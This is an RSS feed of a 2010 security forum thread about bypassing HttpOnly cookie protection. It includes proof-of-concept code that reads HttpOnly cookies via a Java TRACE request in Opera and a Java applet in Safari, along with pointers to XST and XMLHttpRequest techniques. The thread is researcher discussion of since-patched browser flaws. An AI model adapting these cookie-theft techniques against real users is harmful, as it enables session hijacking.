<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>how bypass a HTTPOnly ?</title>
        <description>hi all,

i have question.

how bypass httponly,i think by Cross Site Tracing,but
i dont confident

thanks</description>
        <link>http://sla.ckers.org/forum/read.php?2,33037,33037#msg-33037</link>
        <lastBuildDate>Wed, 19 Jun 2013 21:21:40 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,33037,33490#msg-33490</guid>
            <title>Re: how bypass a HTTPOnly ?</title>
            <link>http://sla.ckers.org/forum/read.php?2,33037,33490#msg-33490</link>
            <description><![CDATA[lol, opera.fail()<br />
<br />
new Packages.asdf.asdf.asdf();<br />
<br />
makes a request for<br />
<br />
/asdf/asdf/asdf.class<br />
<br />
haha.. and this:<br />
<br />
javascript:alert(new Packages[&quot;//sirdarckcat.asdf.asdf&quot;].asdf())<br />
<br />
loads<br />
<br />
eaea.sirdarckcat.net/asdf/asdf/asdf.class<br />
<br />
gotta love opera xDDD]]></description>
            <dc:creator>sirdarckcat</dc:creator>
            <category>XSS Info</category>
            <pubDate>Wed, 17 Feb 2010 08:25:24 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,33037,33481#msg-33481</guid>
            <title>Re: how bypass a HTTPOnly ?</title>
            <link>http://sla.ckers.org/forum/read.php?2,33037,33481#msg-33481</link>
            <description><![CDATA[Very nice find LeverOne! Another reason to zap JS LiveConnect from browsers all together.]]></description>
            <dc:creator>rvdh</dc:creator>
            <category>XSS Info</category>
            <pubDate>Tue, 16 Feb 2010 21:15:40 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,33037,33422#msg-33422</guid>
            <title>Re: how bypass a HTTPOnly ?</title>
            <link>http://sla.ckers.org/forum/read.php?2,33037,33422#msg-33422</link>
            <description><![CDATA[then, the opera one is a cross site tracing vuln.. =/]]></description>
            <dc:creator>sirdarckcat</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sat, 13 Feb 2010 13:47:55 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,33037,33419#msg-33419</guid>
            <title>Re: how bypass a HTTPOnly ?</title>
            <link>http://sla.ckers.org/forum/read.php?2,33037,33419#msg-33419</link>
            <description><![CDATA[No, these methods can get cookies with &quot;HttpOnly&quot;, which the user has now (Set-Cookie is for example).<br />
<blockquote class="bbcode"><div><small>Quote<br/></small><strong>sdc</strong><br/>then, the opera one is a cross site tracing vuln</div></blockquote>
It's obvious! hahaha<br />
<br />
Fixed in Opera 10.50!!!]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sat, 13 Feb 2010 09:05:07 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,33037,33418#msg-33418</guid>
            <title>Re: how bypass a HTTPOnly ?</title>
            <link>http://sla.ckers.org/forum/read.php?2,33037,33418#msg-33418</link>
            <description><![CDATA[those dont get the cookie the user has now right? it returns a new one]]></description>
            <dc:creator>sirdarckcat</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sat, 13 Feb 2010 07:52:48 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,33037,33417#msg-33417</guid>
            <title>Re: how bypass a HTTPOnly ?</title>
            <link>http://sla.ckers.org/forum/read.php?2,33037,33417#msg-33417</link>
            <description><![CDATA[Well, I found ways to get cookies with &quot;httpOnly&quot; in Opera &amp; Safari using java. I can recommend my applet ([<a href="http://code.google.com/p/cookieexpropriator/downloads/list" rel="nofollow" >code.google.com</a>]) and this article ([<a href="https://forum.antichat.ru/showthread.php?p=1387662" rel="nofollow" >forum.antichat.ru</a>], in Russian, 7 months ago).<br />
<br />
The essence of ways:<br />
<br />
1. Opera:<br />
<br />
<pre class="bbcode">
&lt;?php
header(&quot;Set-Cookie: hidden=value; httpOnly&quot;);
?&gt;

&lt;script&gt;

alert(&quot;Cookie: &quot;+document.cookie);

function javacon(url)
{
 javaurl = new java.net.URL(url);
 conn = javaurl.openConnection();
 conn.setRequestMethod('TRACE');
 var response = '';
 input = conn.getInputStream();
 var lnr = new java.io.LineNumberReader(new java.io.InputStreamReader(input));
 while ((n = lnr.readLine()) != null) response += n + '\n ';
 return response;
}
 
alert(javacon(location.href+'.txt'));

&lt;/script&gt;</pre>
<br />
2. Safari<br />
<br />
<b>RequestProperty.java</b><br />
<pre class="bbcode">
import java.applet.*;
import java.net.*;
import java.io.*;

public class RequestProperty extends Applet 
{
 public void start() 
 {
  try {
       URL url = getCodeBase();
       HttpURLConnection conn = (HttpURLConnection) url.openConnection();
       InputStream inp;
       try {
            conn.getInputStream();    // method GET
           }
       catch (IOException ee)
           {
            conn.getErrorStream();
           }
       String cookie = conn.getRequestProperty(&quot;Cookie&quot;);
       getAppletContext().showDocument(new URL(&quot;javascript:alert('&quot;+cookie+&quot;');&quot;));
      }
  catch (Exception e){}
 }
}</pre>
<br />
<pre class="bbcode">&lt;applet code=RequestProperty.class width=1 height=1&gt;&lt;/applet&gt;</pre>
<br />
LeverOne]]></description>
            <dc:creator>LeverOne</dc:creator>
            <category>XSS Info</category>
            <pubDate>Sat, 13 Feb 2010 06:57:19 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,33037,33039#msg-33039</guid>
            <title>Re: how bypass a HTTPOnly ?</title>
            <link>http://sla.ckers.org/forum/read.php?2,33037,33039#msg-33039</link>
            <description><![CDATA[and look http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/]]></description>
            <dc:creator>p0deje</dc:creator>
            <category>XSS Info</category>
            <pubDate>Thu, 14 Jan 2010 10:11:41 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,33037,33038#msg-33038</guid>
            <title>Re: how bypass a HTTPOnly ?</title>
            <link>http://sla.ckers.org/forum/read.php?2,33037,33038#msg-33038</link>
            <description><![CDATA[cross-site tracking uses TRACE, which will only work in IE6 - so don't bother it<br />
it's better to use AJAX with getAllResponseHeaders(), but it again will work not in all browsers<br />
<br />
look there http://www.webappsec.org/lists/websecurity/archive/2006-05/msg00025.html<br />
first result in google]]></description>
            <dc:creator>p0deje</dc:creator>
            <category>XSS Info</category>
            <pubDate>Thu, 14 Jan 2010 10:07:27 -0600</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,33037,33037#msg-33037</guid>
            <title>how bypass a HTTPOnly ?</title>
            <link>http://sla.ckers.org/forum/read.php?2,33037,33037#msg-33037</link>
            <description><![CDATA[hi all,<br />
<br />
i have question.<br />
<br />
how bypass httponly,i think by Cross Site Tracing,but<br />
i dont confident<br />
<br />
thanks]]></description>
            <dc:creator>the_master</dc:creator>
            <category>XSS Info</category>
            <pubDate>Thu, 14 Jan 2010 09:56:10 -0600</pubDate>
        </item>
    </channel>
</rss>
